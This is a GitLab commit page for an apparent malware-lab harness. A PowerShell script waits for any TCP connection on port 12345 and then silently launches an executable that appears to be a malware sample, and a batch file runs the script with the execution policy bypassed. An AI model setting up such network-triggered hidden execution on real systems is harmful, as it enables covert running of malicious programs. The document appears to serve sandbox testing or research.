Skip to content
Snippets Groups Projects
Commit 48dc594e authored by NGUYEN Do Duc Anh's avatar NGUYEN Do Duc Anh
Browse files

update start attack script

parent 01415d04
No related branches found
No related tags found
No related merge requests found
# Parameters - customize these
$listenerPort = 12345 # Port to listen on
$programPath = "C:\Users\window7_pc\Downloads\bazzar-24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703480b1022c.exe"
$localIP = "0.0.0.0" # Listen on all interfaces
# Create TCP listener
$listener = New-Object System.Net.Sockets.TcpListener([System.Net.IPAddress]::Parse($localIP), $listenerPort)
try {
# Wait for any connection
$client = $listener.AcceptTcpClient()
# Immediately close the connection
$client.Close()
# Launch your program silently
Start-Process $programPath -WindowStyle Hidden
}
finally {
$listener.Stop()
}
\ No newline at end of file
@echo off
powershell -ExecutionPolicy Bypass -File "C:\Users\window7_pc\Desktop\monitor_start_attack_script.ps1"
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment